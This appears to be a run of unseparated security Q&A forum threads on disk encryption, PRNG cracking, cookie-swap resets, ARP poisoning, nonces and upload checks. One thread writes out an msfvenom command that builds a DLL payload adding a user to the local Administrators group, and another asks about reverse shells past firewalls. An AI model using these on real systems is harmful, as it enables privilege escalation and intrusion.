Should a full disk encrypted hard drive on a live system be considered encryption at rest? If you are specifying requirements that a certain classification of data be encrypted while at rest (on storage), should the requirement be considered met if the data is stored on an live (turned on) system where all storage media has full disk encryption?

The storage is encrypted and will be protected if the system is turned off (let's ignore evil maid type attacks for the moment or freezing the memory to capture the key); however, while the system is on, the data is at risk because of the possibility of key loggers, malware, or other exposure that can result from security issues caused by the fact the system is simply active.

For example, if a laptop has full disk encryption and is turned on or it is in hibernation or sleep mode, should that data be considered encrypted? This has implications for protecting data on the front end and considerations in data breach reporting. If a thief stole a system which is not totally shut off, it may not be possible to gain direct interactive access due to password restrictions and brute force lockouts, but there might be network or hardware attacks which could allow for remote exploitation to gain local access, and thus to the "encrypted" data.

A more clear case of encryption at rest would be unmounting a encryption container or storing the file in an encrypted zip file (using a strong algorithm of course, like AES versus the weaker password protection on basic zip files). More obvious would be removing the hard drive or usb-connected media where the data is stored. Because the data would have to be actively unencrypted, this would seem to fully meet requirements for encryption at rest.

Therefore, what factors should one consider if evaluating full disk encryption as meeting encryption at rest data requirements?

For my company at least, full-disk encryption isn't seen as adequate for 'data at rest' requirements, as on a live system the data can de accessed without providing a key or any additional authentication information. When relying on FDE, if an attacker was able to get in, at that point it's extremely easy to steal data, and do so quickly as no other knowledge is required.

We require that all data at rest be encrypted with AES (by various means) or via PGP, without regard to the use of FDE. This way just having access to a running system isn't sufficient to retrive protected data; additional knowledge (passwords, keys) are required.

We do require FDE on any system that leaves our facilities, but more to protect ancillary information that could help an attacker (email, notes, etc.) or any information stored in violation of policy.


Cracking a linear congruential generator I was recently listening to the security now podcast, and they mentioned in passing that the linear congrunential generator (LCG) is trivial to crack. I use the LCG in a first year stats computing class and thought that cracking it would make a nice "extra" problem.

Are there any nice ways of cracking the LCG that doesn't involve brute force?

I'm not sure if this question is OT, but I wasn't sure where else to post the question. Also, my tags aren't very helpful since I don't have enough rep to create new tags.

Yes.  There are extremely efficient ways to break a linear congruential generator.

A linear congruential generator is defined by sn+1 = a sn + b mod m, where m is the modulus.  In its simplest form, the generator just outputs sn as the nth pseudorandom number.  If m is known to the attacker and a, b are not known, then Thomas described how to break it.

If none of a, b, m are known, one can still break a linear congruential generator, by first recovering m.  It is an interesting exercise to derive how to do so efficiently; it can be done.  I'll show how below; don't read on if you prefer to try to figure it out for yourself.

  To recover m, define tn = sn+1 - sn and un = |tn+2 tn - t2n+1|; then with high probability you will have m = gcd(u1, u2, ..., u10).  10 here is arbitrary; if you make it k, then the probability that this fails is exponentially small in k.  I can share a pointer to why this works, if anyone is interested.

The important lesson is that the linear congruential generator is irredeemably insecure and completely unsuitable for cryptographic use.

Added: @AviD will hate me even more :), but here's the math for why this works, for those who requested it.

  The key idea: tn+1 = sn+1 - sn = (a sn - b) - (a sn-1 - b) = a sn - a sn-1 = a tn mod m, and tn+2 = a2 tn mod m, and tn+3 = a3 tn mod m.  Therefore tn+2 tn - tn+12 = 0 mod m, i.e., |tn+2 tn - tn+12| is a random multiple of m.  Nifty number theory fact: the gcd of two random multiples of m will be m with probability 6/π2 = 0.61; and if you take the gcd of k of them, this probability gets very close to 1 (exponentially fast in k).  Is that cool, or what?


What is this QR code authentication scheme called? What is this pattern for mobile authentication called? It's more convenient than entering complex password on mobile phone, and I wanted to read about it more

A user is authenticated within webapp and he wants to bind his mobile app with his account
He uses his mobile app to scan QR code containing key K
And chooses PIN P which is used to encrypt K.
enc(K,P)=K' K' is stored in mobile app
When he wants to authenticate in his mobile app he enters P which is used to decrypt K' into K. Mobile app then authenticates with K (only)
Mobile app doesn't store checksum for K', so adversary couldn't find out K from K' without the server (and server had lockout policy).

The QR code is not relevant here. QR is just a way to encode some arbitrary date in a way which a computer (or a smartphone) can decode based on a photo of the printed code.

What you suggest is, in fact, basic password authentication. Although you call the password a "PIN", it still is a password: something that fits in the brain of the human user, and the user enters it when needed.

Indeed, let's see the point of view of the attacker who has stolen the phone, and wants to gain access to the webapp. Through some reverse engineering, he obtains the stored K'. Then, for every possible password (PIN), the attacker can compute the corresponding K, just like the phone would do. That "K" is just an encoding of the password. There is no way for the attacker to know which potential K is the right one without talking to the server; the attacker is then in the position of an online dictionary attack. In that sense, this scenario is not really different from a simpler basic authentication in which the webapp just sends the password to the server.

However, if we look at the details, there are two points where your suggestion slightly changes the security model:

Since the password is encoded with the stored value K', the attacker must know that K' to enact his attack. That is, the attacker cannot do it without first stealing the phone (at least if the encoding is done properly -- there are many ways to botch usage of encryption). This may enhance security when compared with a basic "show the password" authentication. One might even claim that the whole system is two-factor authentication in that the attacker must obtain both the PIN ("something you own") and the phone ("something you have") to perform the attack. However, since smartphones are quite complex computers, they suffer from the same issues with malware and keyloggers, and since the PIN code is typed on the phone itself, the two factors are not as isolated from each other as we would wish.
The authentication value (the K) is sent as a "QR code": in the proposed system, K must be, at some point, known to both the mobile app and the server, so there must be some communication. A QR code is a communication channel which goes through the phone camera, suitable for situations where a more common network socket is inapplicable. This K is the important value; knowing K grants access to the server. But you encode it as a QR code, meaning that the K will be printed on a screen or on paper at some point, and be quite visible. This is weak against shoulder surfers. We usually don't like it when secret values are made so visible.

This can be enhanced. Instead of the QR code, use normal network. We could call it device pairing (and that name is a reasonable answer to your specific question, i.e. the terminology for this pattern). Namely:

User has an account on a Webapp, on which he usually authenticates with a password.
User launches the mobile app for the first time. The mobile app talks to the server and asks for the user's password.
With the user's password, the app authenticates with the server, and registers on the server an app instance specific authentication token: some random value is generated (on the app or on the server, it does not really matter) and "stored" in some way on the phone.
For each subsequent connection, the server will accept the connection from the user only if it "combines" both the phone-stored value (that the server remembers as being associated with that specific user) and the user-specific PIN code.

There are many ways to do this "combination"; some are cryptographically good, others are not. In the case you describe, the combination works that way: what the phone stores is not the authentication token K itself, but a transformed value K' which is an encryption of K with the PIN code; the "combination" is then decryption of K' with the PIN code as key. If the "encryption" is a single invocation of a good block cipher, this may work. As with all things crypto, implementation is a matter of delicacy.

The QR code, here, would just be a way to convey the authentication token from the server to the phone. It seems redundant and useless: this value K is a secret, it won't be shown to just anybody, only to the right, duly authenticated user. So that does not avoid an initial authentication with the normal webapp password. The only scenario I see where it makes sense is when the user logs on the webapp with his computer (the computer has a nice keyboard, making password entry easy), and wants to pair his phone with his account without actually making any network call between the phone and the server. This seems a bit weird, though: to obtain the app, the phone must have been connected to the Internet, and it will have to be connected to actually talk to the server.


How to reverse engineer str_shuffle (PHP) to get its mt_rand outputs $output = str_shuffle("12345");

E.g. $output is now 25134
How do I find out what numbers came out of mt_rand() to allow for the shuffle
I want to know this because I want the seed of mt_rand() and str_shuffle() uses mt_rand() which is not cryptographically secure as it uses Mersenne Twister (Wikipedia) I know shuffle for python is using the Fisher Yates shuffle (Wikipedia)
but I have no idea how it works in php. you can get the seed used if you have 624 outputs using mersenne-twister-recover (GitHub) or you can brute force the seed with untwister (GitHub)

According to PHP 7.2.7 sources, the str_shuffle function uses php_string_shuffle which does

while (--n_left) {
    rnd_idx = php_rand();
    RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
    if (rnd_idx != n_left) {
        temp = str[n_left];
        str[n_left] = str[rnd_idx];
        str[rnd_idx] = temp;
    }
}

So I guess you would like to know the intermediate values of rnd_idx (since php_rand() is an alias of php_mt_rand()).

But RAND_RANGE is a macro defined as #define RAND_RANGE(__n, __min, __max, __tmax) (__n) = php_mt_rand_range((__min), (__max)) so the 1st value of the php_rand() is already instantly lost.

Hence, you won't get the list of all intermediate mt_range() values.

Still, knowing that the algorithm there seems to be at each round, swap the current letter with a random letter before in the input string; the 1st round takes the last letter as the current one; the next round takes the letter previous current letter as the new current letter then you can get the mt_rand value by reasoning backward.

If ABCD is the input value and BADC is the result, then it means the values were 2;2;0 (ABCD => ABDC => ABDC => BADC) but you still don't know the value of the "lost" calls to php_mt_rand. So the sequence of mt_rand was actually ?;2;?;2;?;0 which matches the seed 4 and 25: if you do mt_srand(4); echo str_shuffle('ABCD'); then you'll get BADC and same if your seed is set to 25. You would need a pretty long chain of unique characters to get a sequence long enough to match only one seed.


What is a "Cookie Swap" password reset attack? Am looking over Blackhat appsec trainings and googling. They mention a type of attack for "Password Reset Attacks" known as "Cookie Swap"; see here.

While I do not like to make these type of posts I cannot find anything about this type of attack. Google "cross" yields that it might be session fixation? But, I'm not sure.

The cookie swap attack is a way of bypassing the requirement that a currently logged in user (Alice) must provide their current password prior to changing to a new password.

If I steal a session cookie, but don't know the password, I can't reset the password and my access is limited to this single session until the user logs out and invalidates the coookie.

If the site is vulnerable to a cookie swap, an attacker would exploit this by creating her own account (Eve), and going to the page to reset their password. Eve types on her known password and gets redirected to a page prompting her to enter a new password.

At this point she swaps her cookie for Alice's cookie. Now the server gets a request with a valid key in the URL or POST indicating this is a valid password change request, but the cookie sent with that request was Alice's.

Thus you set Alice's password to whatever Eve wants.


msfvenom incompatible character encodings error I try to create payload for adding user to local administrators group, but the server language is Russian so I should add my local user to Администраторы group.

When I try to create payload using msfvenom command, I got an error about:

  Error: incompatible character encodings: ASCII-8BIT and UTF-8..

My msfvenom command to generate payload is:

msfvenom -p windows/exec CMD="net localgroup Администраторы test /add" -f dll > testadmin.dll

How can I resolve this problem and add my local user to administrators group?

You can try to add it to Administrators group by SID using Powershell. You can see this similar post on StackOverflow: https://stackoverflow.com/questions/27296203/adding-members-to-local-groups-by-sid-in-multiple-languages

Good luck!


Why do file storage sites have a long unique id for their download links? I'm creating a file storage site and what I would do is just have the download links format as:

https://www.domain.com/[id]/[file name] //id would just be 1, 2, 3 etc.

Dropbox and many others have it similarly except that the IDs are long / hashed:

https://www.dropbox.com/s/23d3kaz4adw9deq/anyfile.txt

Is there any (security) reason behind for having it that way?

I was thinking maybe they do it like that so that people can't just increment the id by 1 and just download everything they come across which would result in unnecessarily losing of more bandwidth. But that is not the case, because both the ID and FILE NAME need to match, and file names aren't easily guessable.

Is there any (security) reason behind for having it that way?

Yes - a type of Security through obscurity - the files aren't really secure as the URLs are available without authentication, but it would make them reasonably private as they are not guessable. You would need more information (such as browser history logs) or some kind of brute force that would be unfeasible in this case.

  I was thinking maybe they do it like that so that people can't just increment the id by 1 and just download everything they come across which would result in unnecessarily losing of more bandwidth. But that is not the case, because both the ID and FILE NAME need to match, and file names aren't easily guessable.

Aren't they? How about readme.txt, password.txt, untitled.bmp, CV.doc, etc.

Common word lists are widely available, and can be fed into a brute force program in combination with common file extensions and different IDs in order to execute an attack on your system. This is why it is a good idea to have a secure random component in your URLs.


Where do I get prime numbers for Diffie-Hellman? Can I use them twice? I realise it's very hard to generate suitable prime numbers and generators for the Diffie-Hellman key exchange.

What is the best way to generate them? And if I have one, can I use it twice? According to Wikipedia, they are considered "public".

Actually it is not that hard. It may be slightly expensive, computationally speaking.

A good DH modulus and generator is what you get when generating DSA key parameters; see the DSA specification. You get to choose the subgroup order (q, a prime number), the modulus (p, such that p-1 is a multiple of q), and a generator for the subgroup of size q. OpenSSL can do that for you. It is not very hard to implement yourself, provided that your programming language and environment provides some support for arbitrary-length integers (Python and Java do, C does not, unless you use an extra library such as GMP).

Alternatively, some effort has been invested into generating so called "safe primes": prime integers p such that (p-1)/2 is also a prime. A safe prime is called such because it does not suffer from some attacks which may make discrete logarithm easy (or at least easier) on some "weak" modulus -- but a randomly generated modulus will not be weak, with an overwhelming probability, so there is no real worry here. Also, "safe primes" have the advantage of allowing g=2 as generator, which promotes computational efficiency (not by much, but still). Generating a safe prime entails trying random odd integers of the right size until you hit a safe prime: nothing complex or even hard to implement, but it can take a few minutes to complete (about one odd 1024-bit integer in 400000 is a safe prime). Or you can use one of those from RFC 3526.

There is no problem in using the same group parameters (modulus, generator) for millions of distinct key pairs. They are indeed "public data".


A security audit wants encypted user/pass for login in asp.net - this seems pointless or is it not? We are using asp.net mvc, using forms authentication. Username and password is sent to the server with TLS with a strong secure certificate. Their justification for this:

threat:
"the web server uses plain-text form authentication. if an attacker with access to network traffic to and from target host may be able to obtain login credfentials by sniffing network traffic."

This is a problem for any website, and imo sounds like a waste of time. I tried to find justification for doing this. The best answer i found was on here:

Is it safe to send clear usernames/passwords on a https connection to authenticate users?

basically its not worth it and can do more harm then good. Can anyone elaborate on the harm?

Because this is asp.net i think i will have to write a custom authentication module like here:

https://msdn.microsoft.com/en-us/library/aa479391.aspx

imo i think this introduces more risk than benefit. i.e. the module not working in some edge case scenarios. What do you think? Any other risks that im not thinking of?

What auditor claims -- is an issue for unencrypted transport (plain HTTP, without HTTPS). In this case, authentication data is sent over the network in plaintext. This is where HTTPS comes to rescue. Like it was mentioned in comments, once the data reaches network module (in the case of HTTPS connection), the data will be encrypted and protected during transmission. And plaintext credentials on a client side are no longer an issue.

What I would add here is that entire web site should be covered by HTTPS and no page is loaded in plain HTTP. When authenticated, user receives authentication cookie which is sent to server with each page request. This is how server authenticates you. And if an attacker can grab these cookies, he will be able to impersonate the entity stored in these cookies. Even without having to possess user's login and password.

You may find recommendations for proper HTTPS usage and server security configuration to mitigate most potential flaws in your web application. For example, you may refer to this one: Transport Layer Protection Cheat Sheet.

p.s. and I agree with @joe that too many auditors have no idea on what they are talking about. In most cases they just blindly run their [vulnerability scanner?] software without digging and/or analyzing into what exactly it says.


What is the difference between Internal and External scan in PCI Is each firewall interface IP is considered as external IP?.

Do we need to scan each interface IP??.

What is an internal scan?
What are the elements for internal, how we do it?.

An external vulnerability scan must scan all machines that are in scope for PCI-DSS that have public ips from outside the firewall (eg the internet). This must be done by a qualified party called an ASV. The PCI Council maintains a list of ASVs on their website.

The internal vulnerability scan must scan all machines that are in scope for PCI-DSS from inside the firewall (eg local network). You may perform this scan yourself.


If I write an nmap job into crontab from PHP code to run background, how can I get the status of the nmap cronjob? I am trying to write a php code test to write an nmap scan (with parameters) scheduled into crontab file.

While the nmap is running I would like to get the status of that specific nmap scan. For example: how many IP addresses scanned, is the scan still running, or is it finished?

Is is possible to get the status of any running nmap scan?

I'm not sure if there is an easy way to do that, but if you output the nmap results to a text file, and you use the nmap -v parameter for more verbose output, you could search the output text file for the information you need.

Fore example, the first time the phrase "Scanning x hosts" appears, refers to the total number of hosts you are trying to scan. The second time "Scanning x hosts" appears refers to the total number of hosts that are up (if nmap is doing the default ARP ping scan). Then you could look for lines that start with "Completed SYN Stealth Scan against" (if you are doing a scan with default parameters) to see which and how many hosts were scanned. You could look for the line that starts with "Nmap done" in order to see if the scan has finished. The precondition to all this is that you always rewrite the output file when you do a new scan.


What does this Https - "not fully secure" warning mean? I went to sign into a website today using Google Chrome and was presented with the following error:

Your connection to this site is not fully secure
Attackers might be able to see the images you're looking at on this site and trick you by
modifying them

When I clicked the Details link It says the following

The site includes HTTP resources

I have never seen this warning before.
What does this warning mean in laymans terms and should I sign into the website with my username and password?
Extra:
Opening the same page in Microsoft Edge it claims the website is secure

In a nutshell, it is saying that while the core of the page is using https (secure) to get that information to your computer, that (secure) page references insecure elements (like pictures and possibly scripts).

Attackers can't directly change the original page, but they can change the insecure elements.  If those are pictures, they can change the image.  If those are scripts, they can change those, too.  In that way, attackers could change what you see, even though the core page was 'secure'.

As Michael Kjörling points out in the comments, this also exposes some of your information in these requests - potentially cookies (if it is the same site / matches the cookie sites / the developer didn't specify secure only), referrers, etc, which will leak some information about what you are doing at the best case and at the worse may allow certain attacks.

This is bad practice on the part of the web developer - all elements should use secure transport.

You could (potentially) improve your own situation using a browser plugin that auto-updates all requests to http to https.


About password_hash() in PHP and storing (part of) its salt outside DB So, i learned that new in PHP 5.5 is password-hash() which works much like crypt(). Which is more secure (slower) than md5() or sha1(). The result string is algo+hash+salt, which can be passed as-is to password-verify() to verify password. So far i get how it works.

Some doomsday questions that remain:

Q1) What is the name of the result format/protocol/convention?

Q2) What i dont get however, is that all of the salt is included in the database. If a badguy® where to obtain these, he has all the puzzle parts. In the past, i learned to put (part of) the salt outside of the database: in source, of even base it on ram/system/hardware values so its not even on disk. Why is this not facilitated, or how should i? Ofcourse i could do a double hash with a different salt, or is there a better way?

Q3) Also -in the doomsday mindset that security requires- i believe the single-point of failure password_hash() is going to be a high value target, and might facilitate MITM attacks way easier than the more self-contained crypt(). I imagine writing a "bad" algo and setting it as the PASSWORD_DEFAULT algo would be easier than altering crypt(). I have not looked into the PHP backend code/modules however, just speculating.

Considerations welcome.
Accepted answer will be the one that gets most up-votes/census for questions 2/3 within a week at most, and has question 1 verifiable correct.

What is the name of the result format/protocol/convention?

password_hash()  uses the bcrypt algorithm.

  PASSWORD_DEFAULT - Use the bcrypt algorithm (default as of PHP 5.5.0). Note that this constant is designed to change over time as new and stronger algorithms are added to PHP. For that reason, the length of the result from using this identifier can change over time. Therefore, it is recommended to store the result in a database column that can expand beyond 60 characters (255 characters would be a good choice).

Source: http://www.php.net/manual/en/function.password-hash.php

  Q2) What i dont get however, is that all of the salt is included in the database. If a badguy® where to obtain these, he has all the puzzle parts. In the past, i learned to put (part of) the salt outside of the database: in source, of even base it on ram/system/hardware values so its not even on disk. Why is this not facilitated, or how should i? Ofcourse i could do a double hash with a different salt, or is there a better way?

The only requirement for a salt is for it to be globally unique. It does not have to be kept secret. password_hash() takes care of it for you. Don't do anything fancy and stupid. See: How to store salt?

  Q3) Also -in the doomsday mindset that security requires- i believe the single-point of failure password_hash() is going to be a high value target, and might facilitate MITM attacks way easier than the more self-contained crypt(). I imagine writing a "bad" algo and setting it as the PASSWORD_DEFAULT algo would be easier than altering crypt(). I have not looked into the PHP backend code/modules however, just speculating.

What? MITM has literally NOTHING to do with this. The hashing should be done on the server. If an attacker can modify files on your server, he can already do whatever he wants.


ARP poisoning between a wired and wireless network How can a ARP-Poisoning attack work in a mixed (wireless and wired) network?

Assuming that the attacker is connected to the network via wireless connection and the target is a computer connected to the network via wired connection, how would the ARP poisoning traffic go across the wireless to the wired network? Why would the router forward the ARP poisoning from the wireless to wired network?

ARP is local to a network "wire". In traditional Ethernet, there was a single cable going through all machines in a LAN; the full network is then a collection of LAN, linked together through special machines (routers) who have several ethernet cards, one on each LAN to which the router is connected. When an IP packet must travel from machine A to machine B, it must hop from router to router, and each hop is an emission on a LAN: when the packet jumps from router R to router S, then it means that routers R and S are part of the same LAN. R got the packet from another LAN (to which R is connected as well), and S will send the packet to yet another LAN, which S is part of, as well as the next router.

Nowadays, the "wires" are more virtual. We use twisted pair cables and switches, but they collectively maintain the shared medium model which is what the shared wire embodied in older times.

ARP is the protocol which allows machines from the same LAN to talk to each other. In our example above, router R wants to send a packet to router S, which R knows by IP address. But, on the LAN, R must tag the packet with the MAC address of S, so that S sees it. ARP is the way by which R obtains the MAC address of S: R emits a broadcast packet (the packet is tagged as "for everybody" and every machine on the LAN will see it and consider it), and that packet asks for the MAC address of S. One machine (usually S itself) responds with an ARP response which contains the needed information.

ARP poisoning is the method by which an attacker, who controls another machine on the LAN with R and S (let's call it T), tries to redirect traffic from R, thus posing as a fake S. The attackers tries to do two distinct things:

The attacker wants to see the packet from R to S.
The attacker wants to prevent the genuine S from seeing the packet from R.

In the "shared wire" model, point 1 was automatically achieved, because, by definition, every packet on the wire was electronically visible by all machines connected to that wire (it is just that machines are trained to disregard packets which do not bear their MAC address as destination, unless the packet is tagged "broadcast"). However, with switches, this is not so easy: switches try to keep track on where is each machine, and avoid sending packets on irrelevant cables.

In any case, to achieve point 2, the attacker must do something else, namely convince router R that S's MAC address really is the MAC address of machine T. This "convincing" is what the ARP poisoning is about. Router R, and also the switches, remember the mapping of S's IP address to S's MAC address; the part in which they remember that is called the ARP cache. The ARP poisoning is thus, mostly, a big spamming of everybody on the LAN with fake ARP responses which will convince both R and the intervening switches that the MAC address corresponding to the IP address of S is the MAC address that the attacker has chosen, namely that of the T machine (that the attacker controls).

In any case, ARP poisoning works or even makes sense only within a given LAN. It operates at ethernet level, not IP ("level 2" is in the terrible layered OSI model). An attacker can pull it off only if he gets his foot in one of the LAN through which travel the packets he is interested in.

This long preamble then reveals the answer to your question, i.e.: it depends. Namely, it depends on how the wireless access point is configured. The access point may be a router, connected to two distinct LAN, one for the WiFi machines (their shared medium is then the radio waves), and one for the wired (Ethernet) machines. In such a setup, the WiFi machines know the AP as a router with its own address, and when they want to talk to a wired machine, they talk to the AP. Each LAN has its own ARP traffic. ARP poisoning does not, in that case, work over a communication from a WiFi machine (A) to a wired machine (B): by construction, machine A never learns the MAC address of machine B, since it is not on the same LAN. If A never knows that MAC address, it cannot be convinced to use a fake address: it uses no MAC address at all for B, only an IP address. B is non-local to A.

At best, an attacker on the WiFi LAN may try to convince other machines that the router's MAC address (the access point) is something else, but the router itself will probably remain unmoved: the knowledge of a machine of its very own MAC address is normally impervious to cache poisoning.

However, if the AP is a bridge, then there is only one LAN, which spans over both the wired and the WiFi machines. ARP requests and responses flow throughout. The access point is then not a router at all, or at least not a router which links the two LAN together, since there is only one LAN. The AP might not even have a MAC address or an IP address at all. In that case, ARP poisoning works well: the WiFi access point is just a "kind of switch" which happens to use radio waves as physical medium.

Most "home wireless routers" are both a bridge and a router. They do a bridge between the WiFi machines, and the wired machines connected to its "internal" plugs. They also pose as routers, linking to another LAN embodied by the single "uplink" plug, which is supposed to go to the cable/ADSL modem. ARP poisoning will work well from the WiFi to the wired machines and back, but not towards the cable/ADSL modem.


Are export ciphers allowed in DTLS 1.0? In RFC 4347 for DTLS, I am unable to find the cipher list to be supported. The RFC mentions it as a set of changes from TLS 1.1 (RFC 4346). TLS 1.1 prohibits use of export ciphers.

Are export ciphers disallowed in DTLS also? How to confirm?

Section 4 of RFC 4347 begins with this text:

  As mentioned in Section 3, DTLS is intentionally very similar to TLS.
     Therefore, instead of presenting DTLS as a new protocol, we present
     it as a series of deltas from TLS 1.1 [TLS11].  Where we do not
     explicitly call out differences, DTLS is the same as in [TLS11].

That's reasonably explicit: anything which is not described in RFC 4347, must be done as it is done in TLS 1.1. TLS 1.1 explicitly rejects support of "export" cipher suites, so DTLS does not support them either.

The RFC is like the US Supreme Court: it recognizes no power above itself. There is no "reference implementation" which would define what is supported and what is not. So there is nothing to "confirm", in a legalistic way. A weaker but more practical notion of "support" is interoperability: do existing implementations of DTLS try to support the so-called "export" cipher suites ? It seems that OpenSSL does support it:

(on the server)
$ openssl s_server -dtls1 -cipher EXP-EDH-DSS-DES-CBC-SHA
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT

(on the client)
$ openssl s_client -dtls1
CONNECTED(00000003)
depth=0 CN = localhost
(...)
---
New, TLSv1/SSLv3, Cipher is EXP-EDH-DSS-DES-CBC-SHA
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: zlib compression
Expansion: zlib compression
SSL-Session:
    Protocol  : DTLSv1
    Cipher    : EXP-EDH-DSS-DES-CBC-SHA
(...)

However, there is very little reason to use these cipher suites nowadays; they were meant to comply to US export regulations (hence the name), and the restrictions on key size have been mostly lifted a dozen years ago. No SSL/TLS implementation enables them by default, and servers which are actually configured to accept them should be exceedingly rare. If you are implementing your own DTLS code, you would not be blamed for omitting them, especially since the wording of the RFC implies that they are forbidden.


2-step authorization (using SMS) is less secure than having 2-factor disabled at all! I've been thinking about this subject, and found paradoxical fact.
Having a service that has 2-step authorization using SMS might become more harmful and open vulnerability hole (read SMS can be intercepted ) and it might be better to stay without using 2-FA at all.
example for Google, FB or any major services:
With 2-step SMS authentication, you are required to set your phone number in your profile. Those numbers are generally used as recovery method. So, if an attacker doesn't have your password, but can intercept GSM/SMS, then you are in more danger because he can click "password recovery" and then force website to send SMS code to reset your password.
Of course, some of you say that this might be "rare" occasion, however, if target is solid and attacker is not newbie, this becomes quite a possible route.

Just for reference, who wants to see if there are other people thinking like this, I have also found similar thoughts:
:

https://blog.sucuri.net/2020/01/why-2fa-sms-is-a-bad-idea.html
https://askbobrankin.com/when_2fa_goes_bad.html
https://askleo.com/why-any-two-factor-is-better-than-no-two-factor-at-all/
[https://www.finextra.com/blogposting/18645/dont-use-sms-for-2fa-here-is-why]
4
Reddit topics (1, 2)

Having multiple factors of authentication are always more secure than any one of those factors apart.

A password and a token from an SMS message is harder for an attacker to circumvent than just a password or just a token sent through SMS.

However, SMS itself is currently considered the least secure authentication method, and there does not seem to be any way to make it more secure.  It should never be used as the sole authentication method.

A person's cell phone number can be reassigned to a different device without the user being aware. This can be done either by social engineering against tech support representatives, or by malicious (bribed) agents at any cell phone store.

In your example, where validating account ownership for the purposes of resetting the password is conducted solely through SMS messaging, if the attacker can reassign your number to their phone, they can gain control of both factors.  Google and several other large sites have additional steps to prevent this, such as sending emails to the account owner. However, this has been the basis for losing several accounts in the past, including a few where a couple million dollars worth of bitcoins have been stolen from people who use online exchange and wallet sites.


Are there any alternative methods for reverse connections that bypass firewalls? I'm doing a PenTest on a server. I have an RCE vulnerability on it, but when I try to do a reverse connection via netcat, the firewall blocks it. Is there any other methods used for reverse connections, like DNS or something?

There are lots and lots of methods to connect one machine to another (that's what you are trying to do). What you need to know is what the firewall will allow. Map out the firewall and then you will know what to do. The technique is called "firewalking".


MIME Type vs. Magic Numbers I'm interested in a comparison of the two with regards to what's more secure when uploading files on a website (that I'm a programmer for).

Mozilla's page about MIME Types states that "On the Web, only the MIME type is relevant and should be set carefully.", implying (to me) that using Magic Numbers is either not possible, or is more easily spoofed.

If you are talking about file uploads to a server use various methods to check the filetype. The overhead is tiny. Magic numbers give you a more robust way to verify the filetype but can still be spoofed.

Never rely on file extension, this is the most trivial part to spoof.

If it were me, regardless of the risk to the system I would always:

verify file extension (the final extension and anything after a .) after sanitising the entire name
verify file size (within defined range)
Verify mime type
check magic numbers

All the above checks use a whitelist for verification.

I would also make sure the uploaded file gets moved to a secure directory (without exec permissions) and gets assigned a random filename.


ssh remembers my key I have a server in the web and I'm very concerned about security. I'm using custom private key

ssh-keygen -t rsa -b 4096 -C "email@example.com"

and I'm using it only for this server. I've added this key to authorized_keys on the server.

I'm using this ssh command to login:

ssh user@xxx.xxx.xxx.xxx -i key_file

But, after successful login, I'm able to login to my server using this command:

ssh user@xxx.xxx.xxx.xxx

without setting -i key_file. Why is that ?

Most likely you are adding -i PATH to your key_file which is being stored in default location. So basically it doesn't matter if you provide -i argument or not, since ssh will search for the key file in a default location anyways.

  -i identity_file

  Selects a file from which the identity (private key) for public key
  authentication is read.  The default is ~/.ssh/identity for protocol
  version 1, and ~/.ssh/id_dsa, ~/.ssh/id_ecdsa and ~/.ssh/id_rsa
  for protocol version 2.  Identity files may also be specified on a
  per-host basis in the configuration file.  It is possible to have
  multiple -i options (and multiple identities specified in
  configuration files). ssh will also try to load certificate information from the filename obtained by appending -cert.pub to identity filenames.

https://linux.die.net/man/1/ssh


Is it insecure to ask for the current nonce from server? I'm developing an embedded application that delivers information through HTTP to my web server. These deliveries are secured by a hash

H(secret : data : nonce)

where the secret is shared between the two entities and the data is the data that is delivered. The nonce is for protecting against replay attacks.

My problem is that the embedded device has no idea of the current time and I can't store any data on it. So on every restart of the device the nonce starts at 1, which isn't very good.

I'm thinking of using a counter as the nonce and then asking the web server on every startup what the last used nonce was and use that as a starting point. In my head this sounds secure since the nonce is no secret, i.e. there's no point in not telling the world about it. But are there any security implications I've overlooked?

First things first. Your "hash" is actually a MAC, and a poor one because it fails to ensure security with usual hash functions (SHA-1, SHA-256...). Lookup the length extension attack for details. Basically, if you want a MAC then use a proper MAC, e.g. HMAC. Each HMAC call requires a couple invocations of the underlying hash function, one of them being on short input, so this should be acceptable for your device.

Assuming a proper MAC, you must consider what the nonce is for. The nonce protects against replay attacks only as long as:

The server checks that the nonce value is what it expects (equivalently, the server recomputes the MAC by using its known nonce value, and the MAC will match only if that nonce is the same one as the one used in the device).
The nonce values are not predictable.

Normal dynamics are the following:

Client connects to the server with some sort of connection.
Server sends back a newly generated nonce value.
Client computes the MAC and sends back the data and associated MAC value to the server.
Server checks the MAC value.

In HTTP context, this means a couple of requests. Nominally, HTTP requests are independent from each other, and thus they may happen to appear on the same connection (with "keep-alive"), or use distinct connections; on the server side, if load-balancing is used, the requests may go to distinct front-ends. This may make things more difficult for you. The critical point is that the server should accept a given nonce value only once. If a response has been received, using a MAC value computed with a specific nonce, then the nonce is "burnt up" and MUST NOT be accepted again.

Now for the non-predictability: suppose that the nonce value is, say, a counter maintained on the server (using the current time would be equivalent). At some point in time, counter value is C, so the attacker can predict that some time later, it will be C+100 (or C+100000 or whatever). Such an attacker could intercept a connection between the device and the server, and submit the nonce value C+100 to the device. The device, who believes that it talks to the genuine server, will send a data packet containing a correct MAC value for nonce C+100. The attacker records that answers. At a later time, when the server's counter reaches C+100, the attacker masquerades as the device and sends the recorded answer.

Therefore, a predictable nonce allows the attacker to gather a (valid) data packet from the device, and send it to the server at a time of his choosing. The attacker won't be able to forge a purely synthetic data packet, but he can decide when the packet will reach the server. Depending on your exact context, this may or may not be a problem; it is safer, though, to prevent such things to occur at all.

This sums up to the following:

It is not a problem to let people know what nonce values you use.
BUT each nonce must be used only once. If two clients connect simultaneously, each gets its own nonce.
It is much better is nonces are not predictable. Generate a nonce as a sequence of at least 16 bytes with a cryptographically secure PRNG.
If your device has enough juice for it, you may want to switch to SSL (i.e. HTTPS). Within the SSL tunnel, the device can simply use Basic Authentication, i.e. show the "secret" as is, because the tunnel is encrypted and properly done SSL ensures that the device is convinced to talk to the right server.

SSL is heavier (not really for CPU, more for network bandwidth and latency: a SSL handshake is two round-trips, and then one more for the request itself) but it is quite great at convincing people about security. Using SSL saves you a lot of effort when it comes to proving to some auditors that you did things correctly. Plus, it gives you confidentiality, which might be a good thing in your case.


Received an email about an "Etsy" Password Reset due to the "Linkedin Breach...." is this a phishing attempt? I received an email today from Etsy saying they are resetting my password(from the source it looks like a mass reset of all users), due to there being some sort of Linkedin breach, that compromised emails, and passwords.

Etsy says they themselves aren't compromised, but apparently you can use a linkedin account to access Etsy.

So I'm curious.

